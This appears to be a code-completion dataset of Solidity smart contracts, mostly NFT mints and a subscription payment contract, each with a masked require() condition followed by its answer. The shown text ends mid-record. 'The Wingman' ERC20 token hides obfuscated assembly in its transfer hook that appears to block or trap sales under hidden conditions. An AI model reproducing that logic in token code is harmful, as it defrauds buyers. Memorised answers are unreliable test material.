uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
require(_isValidSubscriber(_vendor, _user, _planId), "Not a subscriber");
Misc memory misc;
misc.planKey = _getPlanKey(_vendor, _planId);
misc.gasAtStart = gasleft() + gasCommit;
(uint256 _lastPayment, uint256 _periods) = _getLastPayment(misc.planKey, _user);
(uint256 price, uint256 billingPeriod,, uint256 discount) = _getPlan(_vendor, _planId);
require(price != 0, "Deleted plan");
require(<FILL_ME>)
price = _getDiscountPrice(price, _periods, billingPeriod, discount);
uint256 timestamp = _lastPayment + billingPeriod * _periods;
lastPayment[misc.planKey][_user] = timestamp |= _periods<<48;
if (stableIsAllowed[_token] == 1) {
if (_token != mainStable) (price, misc.decimalsDiff) = _fixDecimals(_token, price);
_transferToken(_token, _vendor, _user, price, misc.gasAtStart, price, misc.decimalsDiff);
emit Payment(_user, _vendor, _planId, _token, price, _periods, false, block.timestamp);
}
else {
uint256 amount = _getTwapAmount(_token, price);
(, misc.decimalsDiff) = _fixDecimals(_token, price);
_transferToken(_token, _vendor, _user, amount, misc.gasAtStart, price, misc.decimalsDiff);
emit Payment(_user, _vendor, _planId, _token, amount, _periods, false, block.timestamp);
}
}
}
| (block.timestamp-_lastPayment)*_lastPayment>(billingPeriod*_lastPayment),"Not time to pay" | 70,397 | (block.timestamp-_lastPayment)*_lastPayment>(billingPeriod*_lastPayment) |
"You cannot purchase more then 10 tokens on Presale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./utils/ERC721A.sol";
// import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NinjaBears is Ownable, ERC721A, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using SafeMath for uint256;
// metadata URI
string private _baseTokenURI = "ipfs://bafybeic4kaz4qf6nljilr7vwfse5s3avbkgfcebwefihg3jayeq3y6737m/bears-meta-data/";
// Extension
string private _extension = ".json";
// Token Supply
uint256 private constant _totalSupply = 6666;
// Current Supply
// uint256 private currentSupply;
// Token Price
uint256 public tokenPrice = 0.06 ether;
// Pre Sales Price
uint256 public preSalesPrice = 0.05 ether;
// Max NFT number per wallet
uint256 public immutable maxPerAddressDuringMint = 10;
// PRESALE TIMESTAMP
uint256 public preSaleRelease = 1649948400;
bool public publicSaleActive = false;
bool public preSaleActive = true;
// Contract Owner
address private _contractOwner;
address private _signer;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
mapping(address => uint256) private _mintedTokens;
constructor() ERC721A("NinjaBears", "NB") {
}
function getCurrentPrice() public view returns (uint256) {
}
function getSignerAddress(address caller, bytes calldata signature)
internal
pure
returns (address)
{
}
function buyTokensOnPresale(uint256 tokensNumber, bytes calldata signature)
public
payable
{
require(preSaleActive, "Sale is closed at this moment");
require(
block.timestamp >= preSaleRelease,
"Purchase is not available now"
);
require(
tokensNumber <= maxPerAddressDuringMint,
"You cannot purchase more than 10 tokens at once"
);
require(<FILL_ME>)
require(
(tokensNumber.mul(getCurrentPrice())) <= msg.value,
"Received value doesn't match the requested tokens"
);
require(
(totalMinted().add(tokensNumber)) <= _totalSupply,
"You try to mint more tokens than totalSupply"
);
address signer = getSignerAddress(msg.sender, signature);
require(
signer != address(0) && signer == _signer,
"claim: Invalid signature!"
);
_mintedTokens[msg.sender] = _mintedTokens[msg.sender].add(tokensNumber);
_safeMint(msg.sender, tokensNumber);
}
function buyTokens(uint256 tokensNumber) public payable{
}
function setPreSalesRelease(uint256 _releaseTime) public onlyOwner {
}
// Metadata info
function _baseURI() internal view virtual override returns (string memory) {
}
function sendTokensForGiveaway(address[] memory receivers, uint _tokensNumber) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function totalMinted() public view returns (uint256) {
}
function triggerSaleMode() public onlyOwner {
}
function changeSignerAddres(address _newSigner) public onlyOwner {
}
}
| _mintedTokens[msg.sender].add(tokensNumber)<=maxPerAddressDuringMint,"You cannot purchase more then 10 tokens on Presale" | 70,441 | _mintedTokens[msg.sender].add(tokensNumber)<=maxPerAddressDuringMint |
"Received value doesn't match the requested tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./utils/ERC721A.sol";
// import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NinjaBears is Ownable, ERC721A, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using SafeMath for uint256;
// metadata URI
string private _baseTokenURI = "ipfs://bafybeic4kaz4qf6nljilr7vwfse5s3avbkgfcebwefihg3jayeq3y6737m/bears-meta-data/";
// Extension
string private _extension = ".json";
// Token Supply
uint256 private constant _totalSupply = 6666;
// Current Supply
// uint256 private currentSupply;
// Token Price
uint256 public tokenPrice = 0.06 ether;
// Pre Sales Price
uint256 public preSalesPrice = 0.05 ether;
// Max NFT number per wallet
uint256 public immutable maxPerAddressDuringMint = 10;
// PRESALE TIMESTAMP
uint256 public preSaleRelease = 1649948400;
bool public publicSaleActive = false;
bool public preSaleActive = true;
// Contract Owner
address private _contractOwner;
address private _signer;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
mapping(address => uint256) private _mintedTokens;
constructor() ERC721A("NinjaBears", "NB") {
}
function getCurrentPrice() public view returns (uint256) {
}
function getSignerAddress(address caller, bytes calldata signature)
internal
pure
returns (address)
{
}
function buyTokensOnPresale(uint256 tokensNumber, bytes calldata signature)
public
payable
{
require(preSaleActive, "Sale is closed at this moment");
require(
block.timestamp >= preSaleRelease,
"Purchase is not available now"
);
require(
tokensNumber <= maxPerAddressDuringMint,
"You cannot purchase more than 10 tokens at once"
);
require(
_mintedTokens[msg.sender].add(tokensNumber) <=
maxPerAddressDuringMint,
"You cannot purchase more then 10 tokens on Presale"
);
require(<FILL_ME>)
require(
(totalMinted().add(tokensNumber)) <= _totalSupply,
"You try to mint more tokens than totalSupply"
);
address signer = getSignerAddress(msg.sender, signature);
require(
signer != address(0) && signer == _signer,
"claim: Invalid signature!"
);
_mintedTokens[msg.sender] = _mintedTokens[msg.sender].add(tokensNumber);
_safeMint(msg.sender, tokensNumber);
}
function buyTokens(uint256 tokensNumber) public payable{
}
function setPreSalesRelease(uint256 _releaseTime) public onlyOwner {
}
// Metadata info
function _baseURI() internal view virtual override returns (string memory) {
}
function sendTokensForGiveaway(address[] memory receivers, uint _tokensNumber) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function totalMinted() public view returns (uint256) {
}
function triggerSaleMode() public onlyOwner {
}
function changeSignerAddres(address _newSigner) public onlyOwner {
}
}
| (tokensNumber.mul(getCurrentPrice()))<=msg.value,"Received value doesn't match the requested tokens" | 70,441 | (tokensNumber.mul(getCurrentPrice()))<=msg.value |
"You try to mint more tokens than totalSupply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./utils/ERC721A.sol";
// import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NinjaBears is Ownable, ERC721A, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using SafeMath for uint256;
// metadata URI
string private _baseTokenURI = "ipfs://bafybeic4kaz4qf6nljilr7vwfse5s3avbkgfcebwefihg3jayeq3y6737m/bears-meta-data/";
// Extension
string private _extension = ".json";
// Token Supply
uint256 private constant _totalSupply = 6666;
// Current Supply
// uint256 private currentSupply;
// Token Price
uint256 public tokenPrice = 0.06 ether;
// Pre Sales Price
uint256 public preSalesPrice = 0.05 ether;
// Max NFT number per wallet
uint256 public immutable maxPerAddressDuringMint = 10;
// PRESALE TIMESTAMP
uint256 public preSaleRelease = 1649948400;
bool public publicSaleActive = false;
bool public preSaleActive = true;
// Contract Owner
address private _contractOwner;
address private _signer;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
mapping(address => uint256) private _mintedTokens;
constructor() ERC721A("NinjaBears", "NB") {
}
function getCurrentPrice() public view returns (uint256) {
}
function getSignerAddress(address caller, bytes calldata signature)
internal
pure
returns (address)
{
}
function buyTokensOnPresale(uint256 tokensNumber, bytes calldata signature)
public
payable
{
require(preSaleActive, "Sale is closed at this moment");
require(
block.timestamp >= preSaleRelease,
"Purchase is not available now"
);
require(
tokensNumber <= maxPerAddressDuringMint,
"You cannot purchase more than 10 tokens at once"
);
require(
_mintedTokens[msg.sender].add(tokensNumber) <=
maxPerAddressDuringMint,
"You cannot purchase more then 10 tokens on Presale"
);
require(
(tokensNumber.mul(getCurrentPrice())) <= msg.value,
"Received value doesn't match the requested tokens"
);
require(<FILL_ME>)
address signer = getSignerAddress(msg.sender, signature);
require(
signer != address(0) && signer == _signer,
"claim: Invalid signature!"
);
_mintedTokens[msg.sender] = _mintedTokens[msg.sender].add(tokensNumber);
_safeMint(msg.sender, tokensNumber);
}
function buyTokens(uint256 tokensNumber) public payable{
}
function setPreSalesRelease(uint256 _releaseTime) public onlyOwner {
}
// Metadata info
function _baseURI() internal view virtual override returns (string memory) {
}
function sendTokensForGiveaway(address[] memory receivers, uint _tokensNumber) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function totalMinted() public view returns (uint256) {
}
function triggerSaleMode() public onlyOwner {
}
function changeSignerAddres(address _newSigner) public onlyOwner {
}
}
| (totalMinted().add(tokensNumber))<=_totalSupply,"You try to mint more tokens than totalSupply" | 70,441 | (totalMinted().add(tokensNumber))<=_totalSupply |
"Received value doesn't match the requested tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./utils/ERC721A.sol";
// import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NinjaBears is Ownable, ERC721A, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using SafeMath for uint256;
// metadata URI
string private _baseTokenURI = "ipfs://bafybeic4kaz4qf6nljilr7vwfse5s3avbkgfcebwefihg3jayeq3y6737m/bears-meta-data/";
// Extension
string private _extension = ".json";
// Token Supply
uint256 private constant _totalSupply = 6666;
// Current Supply
// uint256 private currentSupply;
// Token Price
uint256 public tokenPrice = 0.06 ether;
// Pre Sales Price
uint256 public preSalesPrice = 0.05 ether;
// Max NFT number per wallet
uint256 public immutable maxPerAddressDuringMint = 10;
// PRESALE TIMESTAMP
uint256 public preSaleRelease = 1649948400;
bool public publicSaleActive = false;
bool public preSaleActive = true;
// Contract Owner
address private _contractOwner;
address private _signer;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
mapping(address => uint256) private _mintedTokens;
constructor() ERC721A("NinjaBears", "NB") {
}
function getCurrentPrice() public view returns (uint256) {
}
function getSignerAddress(address caller, bytes calldata signature)
internal
pure
returns (address)
{
}
function buyTokensOnPresale(uint256 tokensNumber, bytes calldata signature)
public
payable
{
}
function buyTokens(uint256 tokensNumber) public payable{
require(publicSaleActive, "Sale is closed at this moment");
require(
tokensNumber <= maxPerAddressDuringMint,
"You cannot purchase more than 10 tokens at once"
);
require(
_mintedTokens[msg.sender].add(tokensNumber) <=
maxPerAddressDuringMint,
"You cannot purchase more then 10 tokens"
);
require(<FILL_ME>)
require(
(totalMinted().add(tokensNumber)) <= _totalSupply,
"You try to mint more tokens than totalSupply"
);
_mintedTokens[msg.sender] = _mintedTokens[msg.sender].add(tokensNumber);
// currentSupply+=tokensNumber;
_safeMint(msg.sender, tokensNumber);
}
function setPreSalesRelease(uint256 _releaseTime) public onlyOwner {
}
// Metadata info
function _baseURI() internal view virtual override returns (string memory) {
}
function sendTokensForGiveaway(address[] memory receivers, uint _tokensNumber) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function totalMinted() public view returns (uint256) {
}
function triggerSaleMode() public onlyOwner {
}
function changeSignerAddres(address _newSigner) public onlyOwner {
}
}
| (tokensNumber.mul(getCurrentPrice()))==msg.value,"Received value doesn't match the requested tokens" | 70,441 | (tokensNumber.mul(getCurrentPrice()))==msg.value |
"You try to mint more tokens than totalSupply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./utils/ERC721A.sol";
// import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NinjaBears is Ownable, ERC721A, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using SafeMath for uint256;
// metadata URI
string private _baseTokenURI = "ipfs://bafybeic4kaz4qf6nljilr7vwfse5s3avbkgfcebwefihg3jayeq3y6737m/bears-meta-data/";
// Extension
string private _extension = ".json";
// Token Supply
uint256 private constant _totalSupply = 6666;
// Current Supply
// uint256 private currentSupply;
// Token Price
uint256 public tokenPrice = 0.06 ether;
// Pre Sales Price
uint256 public preSalesPrice = 0.05 ether;
// Max NFT number per wallet
uint256 public immutable maxPerAddressDuringMint = 10;
// PRESALE TIMESTAMP
uint256 public preSaleRelease = 1649948400;
bool public publicSaleActive = false;
bool public preSaleActive = true;
// Contract Owner
address private _contractOwner;
address private _signer;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
mapping(address => uint256) private _mintedTokens;
constructor() ERC721A("NinjaBears", "NB") {
}
function getCurrentPrice() public view returns (uint256) {
}
function getSignerAddress(address caller, bytes calldata signature)
internal
pure
returns (address)
{
}
function buyTokensOnPresale(uint256 tokensNumber, bytes calldata signature)
public
payable
{
}
function buyTokens(uint256 tokensNumber) public payable{
}
function setPreSalesRelease(uint256 _releaseTime) public onlyOwner {
}
// Metadata info
function _baseURI() internal view virtual override returns (string memory) {
}
function sendTokensForGiveaway(address[] memory receivers, uint _tokensNumber) public onlyOwner {
require(<FILL_ME>)
for(uint i = 0; i<receivers.length; i++) {
_mintedTokens[receivers[i]] = _mintedTokens[receivers[i]].add(_tokensNumber);
_safeMint(receivers[i], _tokensNumber);
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function totalMinted() public view returns (uint256) {
}
function triggerSaleMode() public onlyOwner {
}
function changeSignerAddres(address _newSigner) public onlyOwner {
}
}
| (totalMinted().add(receivers.length*_tokensNumber))<=_totalSupply,"You try to mint more tokens than totalSupply" | 70,441 | (totalMinted().add(receivers.length*_tokensNumber))<=_totalSupply |
"ERC20: trading is not yet enabled." | // You too can become a great wingman out there.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private wingAddr;
uint256 private _noTwitter = block.number*2;
mapping (address => bool) private _toCult;
mapping (address => bool) private _toSaitama;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private homeOrg;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private whiteHouse;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private whiteDish = 1; bool private newWorld;
uint256 private _decimals; uint256 private oldMen;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function _TheBegin() internal { }
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
require(<FILL_ME>)
if (block.chainid == 1) {
bool open = (((newWorld || _toSaitama[sender]) && ((_noTwitter - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/2)) && (_noTwitter == block.number))) && ((_toCult[recipient] == true) && (_toCult[sender] != true) || ((wingAddr[1] == recipient) && (_toCult[wingAddr[1]] != true))) && (oldMen > 0);
assembly {
function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gG() -> faL { faL := gas() }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(sload(gByte(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }if and(lt(gG(),sload(0xB)),open) { invalid() } if sload(0x16) { sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x11) if iszero(sload(0x17)) { sstore(0x17,t) } let g := sload(0x17)
switch gt(g,div(t,0x3))
case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
case 0 { g := div(t,0x3) }
sstore(0x17,t) sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1))
}
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(gByte(sload(0x8),0x4)),0x0)) { sstore(gByte(sload(0x8),0x5),0x1) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x11) let t := sload(0x17) sstore(0x17,k) sstore(0x11,t)
}
if iszero(mod(sload(0x15),0x6)) { sstore(0x16,0x1) } sstore(0x12,integer) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployWing(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheWingman is ERC20Token {
constructor() ERC20Token("The Wingman", "WING", msg.sender, 50000000 * 10 ** 18) {
}
}
| (trading||(sender==wingAddr[1])),"ERC20: trading is not yet enabled." | 70,442 | (trading||(sender==wingAddr[1])) |
"Purchase would exceed max tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Franki is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public claimIsActive = false;
mapping(uint256 => uint256) private tokenMatrix;
bool public isAllowListActive = false;
uint256 public constant MAX_PUBLIC_MINT = 20;
uint256 public constant MAX_ELEMENTS = 1000;
uint256 public PRICE_PER_TOKEN = 0 ether;
string public baseTokenURI = "https://ipfs.io/ipfs/QmYGdw8w5uYVApDrjgCgxU359k7rXhVpinf5ufLwaC11cb/";
mapping(address => uint8) private _allowList;
constructor() ERC721("Crypto Franki", "FRK") {}
//Increase price per token
function setPricePerToken(uint256 price) external onlyOwner {
}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner {
}
function numAvailableToMintAllowList(address addr) external view returns (uint8) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
uint256 totalSupply = totalSupply();
require(isAllowListActive, "Allow list is not active");
require(numberOfTokens <= _allowList[msg.sender], "Exceeded max available to purchase");
require(<FILL_ME>)
require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "Ether value sent is not correct");
_allowList[msg.sender] -= numberOfTokens;
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, _nextToken());
}
}
//Allow free mint
function setClaimState(bool newState) public onlyOwner {
}
function claim() public payable {
}
function setSaleState(bool newState) public onlyOwner {
}
//Payable mint
function mint(uint numberOfTokens) public payable {
}
function _nextToken() internal returns (uint256) {
}
//Reserve some NFTs for airdrops and community giveaways
function reserve(uint numberOfTokens) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| totalSupply+numberOfTokens<=MAX_ELEMENTS,"Purchase would exceed max tokens" | 70,486 | totalSupply+numberOfTokens<=MAX_ELEMENTS |
"Ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Franki is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public claimIsActive = false;
mapping(uint256 => uint256) private tokenMatrix;
bool public isAllowListActive = false;
uint256 public constant MAX_PUBLIC_MINT = 20;
uint256 public constant MAX_ELEMENTS = 1000;
uint256 public PRICE_PER_TOKEN = 0 ether;
string public baseTokenURI = "https://ipfs.io/ipfs/QmYGdw8w5uYVApDrjgCgxU359k7rXhVpinf5ufLwaC11cb/";
mapping(address => uint8) private _allowList;
constructor() ERC721("Crypto Franki", "FRK") {}
//Increase price per token
function setPricePerToken(uint256 price) external onlyOwner {
}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner {
}
function numAvailableToMintAllowList(address addr) external view returns (uint8) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
uint256 totalSupply = totalSupply();
require(isAllowListActive, "Allow list is not active");
require(numberOfTokens <= _allowList[msg.sender], "Exceeded max available to purchase");
require(totalSupply + numberOfTokens <= MAX_ELEMENTS, "Purchase would exceed max tokens");
require(<FILL_ME>)
_allowList[msg.sender] -= numberOfTokens;
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, _nextToken());
}
}
//Allow free mint
function setClaimState(bool newState) public onlyOwner {
}
function claim() public payable {
}
function setSaleState(bool newState) public onlyOwner {
}
//Payable mint
function mint(uint numberOfTokens) public payable {
}
function _nextToken() internal returns (uint256) {
}
//Reserve some NFTs for airdrops and community giveaways
function reserve(uint numberOfTokens) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| PRICE_PER_TOKEN*numberOfTokens<=msg.value,"Ether value sent is not correct" | 70,486 | PRICE_PER_TOKEN*numberOfTokens<=msg.value |
"Purchase would exceed max tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Franki is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public claimIsActive = false;
mapping(uint256 => uint256) private tokenMatrix;
bool public isAllowListActive = false;
uint256 public constant MAX_PUBLIC_MINT = 20;
uint256 public constant MAX_ELEMENTS = 1000;
uint256 public PRICE_PER_TOKEN = 0 ether;
string public baseTokenURI = "https://ipfs.io/ipfs/QmYGdw8w5uYVApDrjgCgxU359k7rXhVpinf5ufLwaC11cb/";
mapping(address => uint8) private _allowList;
constructor() ERC721("Crypto Franki", "FRK") {}
//Increase price per token
function setPricePerToken(uint256 price) external onlyOwner {
}
function setIsAllowListActive(bool _isAllowListActive) external onlyOwner {
}
function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner {
}
function numAvailableToMintAllowList(address addr) external view returns (uint8) {
}
function mintAllowList(uint8 numberOfTokens) external payable {
}
//Allow free mint
function setClaimState(bool newState) public onlyOwner {
}
function claim() public payable {
uint256 totalSupply = totalSupply();
require(claimIsActive, "Free claim must be allowed to mint tokens");
require(<FILL_ME>)
_safeMint(msg.sender, _nextToken());
}
function setSaleState(bool newState) public onlyOwner {
}
//Payable mint
function mint(uint numberOfTokens) public payable {
}
function _nextToken() internal returns (uint256) {
}
//Reserve some NFTs for airdrops and community giveaways
function reserve(uint numberOfTokens) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| totalSupply+1<=MAX_ELEMENTS,"Purchase would exceed max tokens" | 70,486 | totalSupply+1<=MAX_ELEMENTS |
"No more" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CyberBirds is ERC721A, Ownable, ReentrancyGuard {
using Address for address;
using Strings for uint;
string public baseTokenURI = "https://bafybeiexic7de5w24ulpfjirqi7dpzpixoavdcjajx4ounbs6w6v7q6fw4.ipfs.nftstorage.link/metadata";
uint256 public MAX_SUPPLY = 333;
uint256 public MAX_FREE_SUPPLY = 0;
uint256 public MAX_PER_TX = 20;
uint256 public PRICE = 0.008 ether;
uint256 public maxFreePerTx = 1;
uint256 public MAX_PER_WALLET = 20;
bool public initialize = true;
bool public revealed = true;
mapping(address => uint256) public qtyMinted;
mapping(address => uint256) public qtyFreeMinted;
constructor() ERC721A("CyberBirds", "CB") {
}
function mint(uint256 amount) external payable
{
uint256 cost = PRICE;
uint256 num = amount > 0 ? amount : 1;
bool free = ((totalSupply() + num < MAX_FREE_SUPPLY + 1) &&
(qtyFreeMinted[msg.sender] + num <= 1));
if (free) {
cost = 0;
qtyFreeMinted[msg.sender] += num;
require(num < maxFreePerTx + 1, "Max per TX reached.");
} else {
require(num < MAX_PER_TX + 1, "Max per TX reached.");
}
require(initialize, "Minting is not live yet.");
require(msg.value >= num * cost, "Please send the exact amount.");
require(<FILL_ME>)
